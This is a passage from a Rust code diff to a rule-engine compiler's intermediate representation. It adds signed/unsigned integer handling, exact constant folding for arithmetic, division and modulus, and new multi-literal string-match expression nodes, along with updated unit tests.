as usize] = expr_id; self.parents[rhs.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::Shl { lhs, rhs }); + self.nodes.push(Expr::Shl { is_unsigned, lhs, rhs }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } /// Creates a new [`Expr::Shr`]. pub fn shr(&mut self, lhs: ExprId, rhs: ExprId) -> ExprId { + // The signedness of the result is the signedness of the left operand. + // Unsigned integers are shifted logically, while signed integers are + // shifted arithmetically. + let is_unsigned = self.get(lhs).type_value().is_unsigned(); + if self.constant_folding && let (Some(lhs_val), Some(rhs_val)) = ( - self.get(lhs).try_as_const_integer(), - self.get(rhs).try_as_const_integer(), + self.const_integer_bits(lhs), + self.get(rhs).type_value().try_as_const_i128(), ) && rhs_val >= 0 { - return self.constant(TypeValue::const_integer_from( - if rhs_val >= 64 { 0 } else { lhs_val >> rhs_val }, + let value = if rhs_val >= 64 { + 0 + } else if is_unsigned { + ((lhs_val as u64) >> rhs_val) as i64 + } else { + lhs_val >> rhs_val + }; + return self.constant(TypeValue::const_integer_from_bits( + value, + is_unsigned, )); } @@ -1684,7 +2032,7 @@ impl IR { self.parents[lhs.0 as usize] = expr_id; self.parents[rhs.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::Shr { lhs, rhs }); + self.nodes.push(Expr::Shr { is_unsigned, lhs, rhs }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } @@ -1695,11 +2043,15 @@ impl IR { .iter() .any(|op| matches!(self.get(*op).ty(), Type::Float)); + let is_unsigned = !is_float && self.is_unsigned_result(&operands); + if self.constant_folding && let Some(value) = self.fold_arithmetic( operands.as_slice(), is_float, + is_unsigned, |acc, x| acc + x, + |acc, x| acc.checked_add(x), )? { return Ok(self.constant(value)); @@ -1710,7 +2062,7 @@ impl IR { self.parents[operand.0 as usize] = expr_id; } self.parents.push(ExprId::none()); - self.nodes.push(Expr::Add { operands, is_float }); + self.nodes.push(Expr::Add { operands, is_float, is_unsigned }); debug_assert_eq!(self.parents.len(), self.nodes.len()); Ok(expr_id) } @@ -1721,11 +2073,15 @@ impl IR { .iter() .any(|op| matches!(self.get(*op).ty(), Type::Float)); + let is_unsigned = !is_float && self.is_unsigned_result(&operands); + if self.constant_folding && let Some(value) = self.fold_arithmetic( operands.as_slice(), is_float, + is_unsigned, |acc, x| acc - x, + |acc, x| acc.checked_sub(x), )? { return Ok(self.constant(value)); @@ -1736,7 +2092,7 @@ impl IR { self.parents[operand.0 as usize] = expr_id; } self.parents.push(ExprId::none()); - self.nodes.push(Expr::Sub { operands, is_float }); + self.nodes.push(Expr::Sub { operands, is_float, is_unsigned }); debug_assert_eq!(self.parents.len(), self.nodes.len()); Ok(expr_id) } @@ -1747,11 +2103,15 @@ impl IR { .iter() .any(|op| matches!(self.get(*op).ty(), Type::Float)); + let is_unsigned = !is_float && self.is_unsigned_result(&operands); + if self.constant_folding && let Some(value) = self.fold_arithmetic( operands.as_slice(), is_float, + is_unsigned, |acc, x| acc * x, + |acc, x| acc.checked_mul(x), )? { return Ok(self.constant(value)); @@ -1762,7 +2122,7 @@ impl IR { self.parents[operand.0 as usize] = expr_id; } self.parents.push(ExprId::none()); - self.nodes.push(Expr::Mul { operands, is_float }); + self.nodes.push(Expr::Mul { operands, is_float, is_unsigned }); debug_assert_eq!(self.parents.len(), self.nodes.len()); Ok(expr_id) } @@ -1772,24 +2132,40 @@ impl IR { let is_float = operands .iter() .any(|op| matches!(self.get(*op).ty(), Type::Float)); + let is_unsigned = !is_float && self.is_unsigned_result(&operands); + + if self.constant_folding + && let Some(value) = self.fold_div(operands.as_slice()) + { + return Ok(self.constant(value)); + } + let expr_id = ExprId::from(self.nodes.len()); for operand in operands.iter() { self.parents[operand.0 as usize] = expr_id; } self.parents.push(ExprId::none()); - self.nodes.push(Expr::Div { operands, is_float }); + self.nodes.push(Expr::Div { operands, is_float, is_unsigned }); debug_assert_eq!(self.parents.len(), self.nodes.len()); Ok(expr_id) } /// Creates a new [`Expr::Mod`]. pub fn modulus(&mut self, operands: Vec) -> Result { + let is_unsigned = self.is_unsigned_result(&operands); + + if self.constant_folding + && let Some(value) = self.fold_rem(operands.as_slice()) + { + return Ok(self.constant(value)); + } + let expr_id = ExprId::from(self.nodes.len()); for operand in operands.iter() { self.parents[operand.0 as usize] = expr_id; } self.parents.push(ExprId::none()); - self.nodes.push(Expr::Mod { operands }); + self.nodes.push(Expr::Mod { operands, is_unsigned }); debug_assert_eq!(self.parents.len(), self.nodes.len()); Ok(expr_id) } @@ -1983,6 +2359,118 @@ impl IR { expr_id } + /// Creates a new [`Expr::EqMany`]. + pub fn eq_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::EqMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::IEqualsMany`]. + pub fn iequals_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::IEqualsMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::ContainsMany`]. + pub fn contains_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::ContainsMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::IContainsMany`]. + pub fn icontains_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::IContainsMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::StartsWithMany`]. + pub fn starts_with_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::StartsWithMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::IStartsWithMany`]. + pub fn istarts_with_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::IStartsWithMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::EndsWithMany`]. + pub fn ends_with_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::EndsWithMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + + /// Creates a new [`Expr::IEndsWithMany`]. + pub fn iends_with_many( + &mut self, + lhs: ExprId, + literal_set: LiteralSetId, + ) -> ExprId { + let expr_id = ExprId::from(self.nodes.len()); + self.parents[lhs.0 as usize] = expr_id; + self.parents.push(ExprId::none()); + self.nodes.push(Expr::IEndsWithMany { lhs, literal_set }); + debug_assert_eq!(self.parents.len(), self.nodes.len()); + expr_id + } + /// Creates a new [`Expr::PatternMatch`] pub fn pattern_match( &mut self, @@ -2324,14 +2812,51 @@ impl IR { } impl IR { - fn fold_arithmetic( + /// Returns true if the result of an integer operation with the given + /// operands is an unsigned integer. + /// + /// The result is unsigned if at least one of the operands is unsigned, + /// regardless of the remaining operands, which are interpreted as + /// unsigned integers. Negative values wrap around, for instance, in + /// `uint64(0) + (-1)` the `-1` is interpreted as `0xFFFFFFFFFFFFFFFF`. + /// If all the operands are signed the result is signed. This is similar + /// to the usual arithmetic conversions in C, where mixing `int64_t` and + /// `uint64_t` produces an `uint64_t`. + /// + /// The results of `uint8`, `uint16` and `uint32` are promoted to signed + /// integers, as all their values fit in an `i64`, just like C promotes + /// integer types narrower than `int` to `int` (see + /// [`TypeValue::is_unsigned`]). So, `uint8(0) - 2` is signed, while + /// `uint64(0) + 1` and `uint64(0) \ uint8(1)` are unsigned. + /// + /// The signedness of the result depends only on the types of the + /// operands, never on their values. This guarantees that it doesn't + /// change depending on whether constant folding is enabled or not, or + /// on whether the operands are constants or variables. + pub(crate) fn is_unsigned_result(&self, operands: &[ExprId]) -> bool { + operands + .iter() + .any(|operand| self.get(*operand).type_value().is_unsigned()) + } + + /// If the expression is a constant integer, returns the bit pattern of + /// its value, regardless of its signedness. + fn const_integer_bits(&self, expr: ExprId) -> Option { + let tv = self.get(expr).type_value(); + if tv.is_const() { tv.try_as_integer() } else { None } + } + + fn fold_arithmetic( &mut self, operands: &[ExprId], is_float: bool, - f: F, + is_unsigned: bool, + float_op: F, + mut int_op: I, ) -> Result, Error> where F: FnMut(f64, f64) -> f64, + I: FnMut(i128, i128) -> Option, { debug_assert!(!operands.is_empty()); @@ -2340,25 +2865,120 @@ impl IR { return Ok(None); } - // Fold all operands into a single value. - let folded = operands + if is_float { + // Fold all operands into a single value. It's safe to call + // unwrap because there must be at least one operand. + let folded = operands + .iter() + .map(|op| { + let tv = self.get(*op).type_value(); + if let Some(v) = tv.try_as_const_i128() { + v as f64 + } else if let TypeValue::Float { value: Const(v) } = tv { + v + } else { + unreachable!() + } + }) + .reduce(float_op) + .unwrap(); + + return Ok(Some(TypeValue::const_float_from(folded))); + } + + // Integers are folded using exact arithmetic. Folding fails if the + // result doesn't fit in the type of the result. + let mut values = operands .iter() - .map(|op| match self.get(*op).type_value() { - TypeValue::Integer { value: Const(v), .. } => v as f64, - TypeValue::Float { value: Const(v) } => v, - _ => unreachable!(), + .map(|op| self.get(*op).type_value().try_as_const_i128().unwrap()); + + // It's safe to call unwrap because there must be at least one operand. + let first = values.next().unwrap(); + + values + .try_fold(first, &mut int_op) + .and_then(|folded| { + TypeValue::const_integer_from_i128(folded, is_unsigned) }) - .reduce(f) // It's safe to call unwrap because there must be at least - // one operand. - .unwrap(); + .map(Some) + .ok_or(Error::NumberOutOfRange) + } - if is_float { - Ok(Some(TypeValue::const_float_from(folded))) - } else if folded >= i64::MIN as f64 && folded <= i64::MAX as f64 { - Ok(Some(TypeValue::const_integer_from(folded as i64))) - } else { - Err(Error::NumberOutOfRange) + fn fold_div(&self, operands: &[ExprId]) -> Option { + debug_assert!(!operands.is_empty()); + + if !operands.iter().all(|op| self.get(*op).type_value().is_const()) { + return None; } + + let to_f64 = |tv: &TypeValue| { + if let Some(v) = tv.try_as_const_i128() { + v as f64 + } else if let TypeValue::Float { value: Const(v) } = tv { + *v + } else { + unreachable!() + } + }; + + let mut acc = self.get(operands[0]).type_value(); + + for (i, operand) in operands.iter().enumerate().skip(1) { + let rhs = self.get(*operand).type_value(); + + if matches!(acc.ty(), Type::Float) + || matches!(rhs.ty(), Type::Float) + { + acc = TypeValue::const_float_from(to_f64(&acc) / to_f64(&rhs)); + } else { + let lhs_bits = acc.try_as_integer()?; + let rhs_bits = rhs.try_as_integer()?; + + // Division by zero (or signed overflow) evaluates to undefined + // at runtime, so do not fold it into a constant. + if self.is_unsigned_result(&operands[..=i]) { + let q = (lhs_bits as u64).checked_div(rhs_bits as u64)?; + acc = TypeValue::const_unsigned_integer_from(q); + } else { + let q = lhs_bits.checked_div(rhs_bits)?; + acc = TypeValue::const_signed_integer_from(q); + } + } + } + + Some(acc) + } + + fn fold_rem(&self, operands: &[ExprId]) -> Option { + debug_assert!(!operands.is_empty()); + + if !operands.iter().all(|op| self.get(*op).type_value().is_const()) { + return None; + } + + let mut acc = self.get(operands[0]).type_value(); + + for (i, operand) in operands.iter().enumerate().skip(1) { + let rhs = self.get(*operand).type_value(); + let lhs_bits = acc.try_as_integer()?; + let rhs_bits = rhs.try_as_integer()?; + + // Modulo by zero evaluates to undefined at runtime, so do not fold + // it into a constant. + if rhs_bits == 0 { + return None; + } + + if self.is_unsigned_result(&operands[..=i]) { + let r = (lhs_bits as u64).checked_rem(rhs_bits as u64)?; + acc = TypeValue::const_unsigned_integer_from(r); + } else { + let r = lhs_bits.wrapping_rem(rhs_bits); + acc = TypeValue::const_signed_integer_from(r); + } + } + + Some(acc) } } @@ -2428,6 +3048,14 @@ impl Debug for IR { Expr::IEquals { .. } => writeln!(f, "IEQUALS -- hash: {expr_hash:#08x}")?, Expr::Matches { .. } => writeln!(f, "MATCHES -- hash: {expr_hash:#08x}")?, Expr::MatchesMany { regex_set, .. } => writeln!(f, "MATCHES_MANY RegexSetId({}) -- hash: {expr_hash:#08x}", usize::from(*regex_set))?, + Expr::EqMany { literal_set, .. } => writeln!(f, "EQ_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::IEqualsMany { literal_set, .. } => writeln!(f, "IEQUALS_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::ContainsMany { literal_set, .. } => writeln!(f, "CONTAINS_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::IContainsMany { literal_set, .. } => writeln!(f, "ICONTAINS_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::StartsWithMany { literal_set, .. } => writeln!(f, "STARTS_WITH_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::IStartsWithMany { literal_set, .. } => writeln!(f, "ISTARTS_WITH_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::EndsWithMany { literal_set, .. } => writeln!(f, "ENDS_WITH_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, + Expr::IEndsWithMany { literal_set, .. } => writeln!(f, "IENDS_WITH_MANY LiteralSetId({}) -- hash: {expr_hash:#08x}", usize::from(*literal_set))?, Expr::Defined { .. } => writeln!(f, "DEFINED -- hash: {expr_hash:#08x}")?, Expr::FieldAccess { .. } => writeln!(f, "FIELD_ACCESS -- hash: {expr_hash:#08x}")?, Expr::With { .. } => writeln!(f, "WITH -- hash: {expr_hash:#08x}")?, @@ -2588,38 +3216,42 @@ pub(crate) enum Expr { /// Arithmetic minus. Minus { is_float: bool, operand: ExprId }, + // In the integer operations below, `is_unsigned` indicates that the + // result of the operation is an unsigned integer. See + // `IR::is_unsigned_result` for the rules that determine the signedness + // of the result. /// Arithmetic addition (`+`) expression. - Add { is_float: bool, operands: Vec }, + Add { is_float: bool, is_unsigned: bool, operands: Vec }, /// Arithmetic subtraction (`-`) expression. - Sub { is_float: bool, operands: Vec }, + Sub { is_float: bool, is_unsigned: bool, operands: Vec }, /// Arithmetic multiplication (`*`) expression. - Mul { is_float: bool, operands: Vec }, + Mul { is_float: bool, is_unsigned: bool, operands: Vec }, /// Arithmetic division (`\`) expression. - Div { is_float: bool, operands: Vec }, + Div { is_float: bool, is_unsigned: bool, operands: Vec }, /// Arithmetic modulus (`%`) expression. - Mod { operands: Vec }, + Mod { is_unsigned: bool, operands: Vec }, /// Bitwise not (`~`) expression. - BitwiseNot { operand: ExprId }, + BitwiseNot { is_unsigned: bool, operand: ExprId }, /// Bitwise and (`&`) expression. - BitwiseAnd { rhs: ExprId, lhs: ExprId }, + BitwiseAnd { is_unsigned: bool, rhs: ExprId, lhs: ExprId }, /// Bitwise shift left (`<<`) expression. - Shl { rhs: ExprId, lhs: ExprId }, + Shl { is_unsigned: bool, rhs: ExprId, lhs: ExprId }, /// Bitwise shift right (`>>`) expression. - Shr { rhs: ExprId, lhs: ExprId }, + Shr { is_unsigned: bool, rhs: ExprId, lhs: ExprId }, /// Bitwise or (`|`) expression. - BitwiseOr { rhs: ExprId, lhs: ExprId }, + BitwiseOr { is_unsigned: bool, rhs: ExprId, lhs: ExprId }, /// Bitwise xor (`^`) expression. - BitwiseXor { rhs: ExprId, lhs: ExprId }, + BitwiseXor { is_unsigned: bool, rhs: ExprId, lhs: ExprId }, /// Equal (`==`) expression. Eq { rhs: ExprId, lhs: ExprId }, @@ -2667,6 +3299,32 @@ pub(crate) enum Expr { /// multiple regular expressions at the same time. MatchesMany { lhs: ExprId, regex_set: RegexSetId }, + /// Equality expression similar to `Expr::Eq` that compares a string against + /// multiple string literals. + EqMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// Case-insensitive equality expression similar to `Expr::IEquals` that + /// compares a string against multiple string literals. + IEqualsMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `contains` expression that checks a string against multiple string literals. + ContainsMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `icontains` expression that checks a string against multiple string literals. + IContainsMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `startswith` expression that checks a string against multiple string literals. + StartsWithMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `istartswith` expression that checks a string against multiple string literals. + IStartsWithMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `endswith` expression that checks a string against multiple string literals. + EndsWithMany { lhs: ExprId, literal_set: LiteralSetId }, + + /// `iendswith` expression that checks a string against multiple string literals. + IEndsWithMany { lhs: ExprId, literal_set: LiteralSetId }, + /// A `defined` expression (e.g. `defined foo`) Defined { operand: ExprId }, @@ -2831,6 +3489,15 @@ impl ForVars { self.count.shift(after, amount); self.item.shift(after, amount); } + + pub fn max_index(&self) -> i32 { + self.n + .index() + .max(self.i.index()) + .max(self.max_count.index()) + .max(self.count.index()) + .max(self.item.index()) + } } /// A `with : ...` expression. (e.g. `with $a, $b : ( ... )`) @@ -2879,7 +3546,9 @@ impl Iterable { lower_bound.try_as_const_integer(), upper_bound.try_as_const_integer(), ) { - upper_val.add(1).checked_sub(lower_val) + upper_val + .checked_sub(lower_val) + .map(|d| d.saturating_add(1)) } else { None } @@ -2967,15 +3636,32 @@ impl Hash for Expr { } impl Expr { - /// Returns the size of the stack frame for this expression. - pub fn stack_frame_size(&self) -> i32 { + /// Returns the maximum variable index referenced or declared directly by + /// this expression, or `None` if it neither declares nor references any + /// variables. + pub fn max_var_index(&self) -> Option { match self { - Expr::With(with) => with.declarations.len() as i32, - Expr::ForOf(_) => VarStack::FOR_OF_FRAME_SIZE, - Expr::ForIn(_) => VarStack::FOR_IN_FRAME_SIZE, - Expr::OfExprTuple(_) => VarStack::OF_FRAME_SIZE, - Expr::OfPatternSet(_) => VarStack::OF_FRAME_SIZE, - _ => 0, + Expr::Symbol(symbol) + | Expr::PatternMatchVar { symbol, .. } + | Expr::PatternCountVar { symbol, .. } + | Expr::PatternOffsetVar { symbol, .. } + | Expr::PatternLengthVar { symbol, .. } => match symbol.as_ref() { + Symbol::Var { var, .. } => Some(var.index()), + _ => None, + }, + Expr::With(with) => { + with.declarations.iter().map(|(v, _)| v.index()).max() + } + Expr::OfExprTuple(of) => Some(of.for_vars.max_index()), + Expr::OfPatternSet(of) => Some(of.for_vars.max_index()), + Expr::ForOf(for_of) => Some(for_of.for_vars.max_index()), + Expr::ForIn(for_in) => for_in + .variables + .iter() + .map(|v| v.index()) + .chain(std::iter::once(for_in.for_vars.max_index())) + .max(), + _ => None, } } @@ -3078,7 +3764,7 @@ impl Expr { Expr::Not { operand } | Expr::Minus { operand, .. } | Expr::Defined { operand } - | Expr::BitwiseNot { operand } => { + | Expr::BitwiseNot { operand, .. } => { if *operand == child { *operand = replacement; } @@ -3094,11 +3780,11 @@ impl Expr { replace_in_slice(operands.as_mut_slice()); } - Expr::BitwiseAnd { lhs, rhs } - | Expr::Shl { lhs, rhs } - | Expr::Shr { lhs, rhs } - | Expr::BitwiseOr { lhs, rhs } - | Expr::BitwiseXor { lhs, rhs } + Expr::BitwiseAnd { lhs, rhs, .. } + | Expr::Shl { lhs, rhs, .. } + | Expr::Shr { lhs, rhs, .. } + | Expr::BitwiseOr { lhs, rhs, .. } + | Expr::BitwiseXor { lhs, rhs, .. } | Expr::Eq { lhs, rhs } | Expr::Ne { lhs, rhs } | Expr::Lt { lhs, rhs } @@ -3120,7 +3806,15 @@ impl Expr { *rhs = replacement; } } - Expr::MatchesMany { lhs, .. } => { + Expr::MatchesMany { lhs, .. } + | Expr::EqMany { lhs, .. } + | Expr::IEqualsMany { lhs, .. } + | Expr::ContainsMany { lhs, .. } + | Expr::IContainsMany { lhs, .. } + | Expr::StartsWithMany { lhs, .. } + | Expr::IStartsWithMany { lhs, .. } + | Expr::EndsWithMany { lhs, .. } + | Expr::IEndsWithMany { lhs, .. } => { if *lhs == child { *lhs = replacement; } @@ -3173,11 +3867,13 @@ impl Expr { } Expr::OfExprTuple(of) => { + replace_in_quantifier(&mut of.quantifier); replace_in_slice(of.items.as_mut_slice()); replace_in_anchor(&mut of.anchor); } Expr::OfPatternSet(of) => { + replace_in_quantifier(&mut of.quantifier); replace_in_anchor(&mut of.anchor); } @@ -3190,6 +3886,17 @@ impl Expr { Expr::ForIn(for_in) => { replace_in_quantifier(&mut for_in.quantifier); + match &mut for_in.iterable { + Iterable::Range(range) => replace_in_range(range), + Iterable::ExprTuple(exprs) => { + replace_in_slice(exprs.as_mut_slice()) + } + Iterable::Expr(expr) => { + if *expr == child { + *expr = replacement; + } + } + } if for_in.body == child { for_in.body = replacement } @@ -3230,6 +3937,14 @@ impl Expr { | Expr::IEquals { .. } | Expr::Matches { .. } | Expr::MatchesMany { .. } + | Expr::EqMany { .. } + | Expr::IEqualsMany { .. } + | Expr::ContainsMany { .. } + | Expr::IContainsMany { .. } + | Expr::StartsWithMany { .. } + | Expr::IStartsWithMany { .. } + | Expr::EndsWithMany { .. } + | Expr::IEndsWithMany { .. } | Expr::PatternMatch { .. } | Expr::PatternMatchVar { .. } | Expr::OfExprTuple(_) @@ -3302,6 +4017,14 @@ impl Expr { | Expr::IEquals { .. } | Expr::Matches { .. } | Expr::MatchesMany { .. } + | Expr::EqMany { .. } + | Expr::IEqualsMany { .. } + | Expr::ContainsMany { .. } + | Expr::IContainsMany { .. } + | Expr::StartsWithMany { .. } + | Expr::IStartsWithMany { .. } + | Expr::EndsWithMany { .. } + | Expr::IEndsWithMany { .. } | Expr::PatternMatch { .. } | Expr::PatternMatchVar { .. } | Expr::OfExprTuple(_) @@ -3313,18 +4036,34 @@ impl Expr { if *is_float { TypeValue::unknown_float() } else { - TypeValue::unknown_integer() + TypeValue::unknown_signed_integer() } } - Expr::Add { is_float, .. } - | Expr::Sub { is_float, .. } - | Expr::Mul { is_float, .. } - | Expr::Div { is_float, .. } => { + Expr::Add { is_float, is_unsigned, .. } + | Expr::Sub { is_float, is_unsigned, .. } + | Expr::Mul { is_float, is_unsigned, .. } + | Expr::Div { is_float, is_unsigned, .. } => { if *is_float { TypeValue::unknown_float() + } else if *is_unsigned { + TypeValue::unknown_unsigned_integer() + } else { + TypeValue::unknown_signed_integer() + } + } + + Expr::Mod { is_unsigned, .. } + | Expr::BitwiseNot { is_unsigned, .. } + | Expr::BitwiseAnd { is_unsigned, .. } + | Expr::BitwiseOr { is_unsigned, .. } + | Expr::BitwiseXor { is_unsigned, .. } + | Expr::Shl { is_unsigned, .. } + | Expr::Shr { is_unsigned, .. } => { + if *is_unsigned { + TypeValue::unknown_unsigned_integer() } else { - TypeValue::unknown_integer() + TypeValue::unknown_signed_integer() } } @@ -3334,14 +4073,9 @@ impl Expr { | Expr::PatternOffset { .. } | Expr::PatternOffsetVar { .. } | Expr::PatternLength { .. } - | Expr::PatternLengthVar { .. } - | Expr::Mod { .. } - | Expr::BitwiseNot { .. } - | Expr::BitwiseAnd { .. } - | Expr::BitwiseOr { .. } - | Expr::BitwiseXor { .. } - | Expr::Shl { .. } - | Expr::Shr { .. } => TypeValue::unknown_integer(), + | Expr::PatternLengthVar { .. } => { + TypeValue::unknown_signed_integer() + } Expr::Symbol(symbol) => symbol.type_value().clone(), Expr::FieldAccess(field_access) => field_access.type_value.clone(), @@ -3351,6 +4085,15 @@ impl Expr { } } + /// Panics if the expression is not [`Expr::Const`]. + pub fn as_const(&self) -> &TypeValue { + if let Expr::Const(type_value) = self { + type_value + } else { + panic!("called `as_const` on an Expr that is not Expr::Const") + } + } + /// If the expression is a constant boolean, returns its value, if not /// returns [`None`] pub fn try_as_const_bool(&self) -> Option { @@ -3363,11 +4106,12 @@ impl Expr { /// If the expression is a constant integer, returns its value, if not /// returns [`None`] + /// + /// Also returns [`None`] for unsigned constants that don't fit in an + /// `i64`. pub fn try_as_const_integer(&self) -> Option { - if let TypeValue::Integer { value: Const(v), .. } = self.type_value() { - Some(v) - } else { - None - } + self.type_value() + .try_as_const_i128() + .and_then(|v| i64::try_from(v).ok()) } } diff --git a/lib/src/compiler/ir/tests/mod.rs b/lib/src/compiler/ir/tests/mod.rs index 91d92c4be..9ae0c4b37 100644 --- a/lib/src/compiler/ir/tests/mod.rs +++ b/lib/src/compiler/ir/tests/mod.rs @@ -8,24 +8,24 @@ fn expr_size() { // Sentinel test for making sure the Expr doesn't grow in future // changes. #[cfg(target_pointer_width = "64")] - assert_eq!(size_of::(), 48); + assert_eq!(size_of::(), 40); // Curiously enough, in 32-bits Windows the size is different from // 32-bits Linux. #[cfg(all(target_pointer_width = "32", target_family = "windows"))] - assert_eq!(size_of::(), 32); + assert_eq!(size_of::(), 24); #[cfg(all(target_pointer_width = "32", target_family = "unix"))] - assert_eq!(size_of::(), 24); + assert_eq!(size_of::(), 20); } #[test] fn ancestors() { let mut ir = IR::new(); - let const_1 = ir.constant(TypeValue::const_integer_from(1)); - let const_2 = ir.constant(TypeValue::const_integer_from(2)); - let const_3 = ir.constant(TypeValue::const_integer_from(3)); + let const_1 = ir.constant(TypeValue::const_signed_integer_from(1)); + let const_2 = ir.constant(TypeValue::const_signed_integer_from(2)); + let const_3 = ir.constant(TypeValue::const_signed_integer_from(3)); let add = ir.add(vec![const_2, const_3]).unwrap(); let root = ir.add(vec![const_1, add]).unwrap(); @@ -46,9 +46,9 @@ fn ancestors() { fn children() { let mut ir = IR::new(); - let const_1 = ir.constant(TypeValue::const_integer_from(1)); - let const_2 = ir.constant(TypeValue::const_integer_from(2)); - let const_3 = ir.constant(TypeValue::const_integer_from(3)); + let const_1 = ir.constant(TypeValue::const_signed_integer_from(1)); + let const_2 = ir.constant(TypeValue::const_signed_integer_from(2)); + let const_3 = ir.constant(TypeValue::const_signed_integer_from(3)); let add = ir.add(vec![const_2, const_3]).unwrap(); let root = ir.add(vec![const_1, add]).unwrap(); @@ -142,7 +142,7 @@ fn replace_child() { MatchAnchor, OfExprTuple, OfPatternSet, Quantifier, Range, With, }; use crate::compiler::context::Var; - use crate::compiler::{ExprId, PatternIdx, RegexSetId}; + use crate::compiler::{ExprId, LiteralSetId, PatternIdx, RegexSetId}; use crate::types::{FuncSignature, MangledFnName, Type}; let c1 = ExprId::from(1); @@ -175,9 +175,11 @@ fn replace_child() { expr.replace_child(c1, repl); assert!(matches!(expr, Expr::Defined { operand } if operand == repl)); - let mut expr = Expr::BitwiseNot { operand: c1 }; + let mut expr = Expr::BitwiseNot { operand: c1, is_unsigned: false }; expr.replace_child(c1, repl); - assert!(matches!(expr, Expr::BitwiseNot { operand } if operand == repl)); + assert!( + matches!(expr, Expr::BitwiseNot { operand, .. } if operand == repl) + ); // Expr::And, Expr::Or, Expr::Add, Expr::Sub, Expr::Mul, Expr::Div, Expr::Mod let mut expr = Expr::And { operands: vec![c1, c2] }; @@ -192,31 +194,47 @@ fn replace_child() { matches!(expr, Expr::Or { operands } if operands == vec![repl, c2]) ); - let mut expr = Expr::Add { operands: vec![c1, c2], is_float: false }; + let mut expr = Expr::Add { + operands: vec![c1, c2], + is_float: false, + is_unsigned: false, + }; expr.replace_child(c1, repl); assert!( matches!(expr, Expr::Add { operands, .. } if operands == vec![repl, c2]) ); - let mut expr = Expr::Sub { operands: vec![c1, c2], is_float: false }; + let mut expr = Expr::Sub { + operands: vec![c1, c2], + is_float: false, + is_unsigned: false, + }; expr.replace_child(c1, repl); assert!( matches!(expr, Expr::Sub { operands, .. } if operands == vec![repl, c2]) ); - let mut expr = Expr::Mul { operands: vec![c1, c2], is_float: false }; + let mut expr = Expr::Mul { + operands: vec![c1, c2], + is_float: false, + is_unsigned: false, + }; expr.replace_child(c1, repl); assert!( matches!(expr, Expr::Mul { operands, .. } if operands == vec![repl, c2]) ); - let mut expr = Expr::Div { operands: vec![c1, c2], is_float: false }; + let mut expr = Expr::Div { + operands: vec![c1, c2], + is_float: false, + is_unsigned: false, + }; expr.replace_child(c1, repl); assert!( matches!(expr, Expr::Div { operands, .. } if operands == vec![repl, c2]) ); - let mut expr = Expr::Mod { operands: vec![c1, c2] }; + let mut expr = Expr::Mod { operands: vec![c1, c2], is_unsigned: false }; expr.replace_child(c1, repl); assert!( matches!(expr, Expr::Mod { operands, .. } if operands == vec![repl, c2]) @@ -231,12 +249,52 @@ fn replace_child() { expr.replace_child(c2, repl); assert!(matches!(expr, Expr::Eq { lhs, rhs } if lhs == c1 && rhs == repl)); - // MatchesMany + // MatchesMany and *Many string operations let mut expr = Expr::MatchesMany { lhs: c1, regex_set: RegexSetId::from(0) }; expr.replace_child(c1, repl); assert!(matches!(expr, Expr::MatchesMany { lhs, .. } if lhs == repl)); + let mut expr = + 